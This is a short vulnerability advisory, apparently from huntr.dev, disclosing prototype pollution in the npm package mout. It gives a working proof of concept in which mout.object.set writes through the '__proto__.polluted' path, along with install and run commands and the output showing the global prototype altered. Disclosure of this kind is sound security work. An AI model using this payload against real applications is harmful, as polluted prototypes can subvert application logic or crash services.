Lucene search

K
huntrReady-research1-NPM-MOUT
HistoryDec 14, 2020 - 12:00 a.m.

Prototype Pollution in mout/mout

2020-12-1400:00:00
ready-research
www.huntr.dev
14
prototype pollution
mout
npm package
object
prototypes

EPSS

0.017

Percentile

88.0%

Description

mout is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var mout = require("mout")
var obj = {}
console.log("Before : " + {}.polluted);
mout.object.set(obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i mout # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

EPSS

0.017

Percentile

88.0%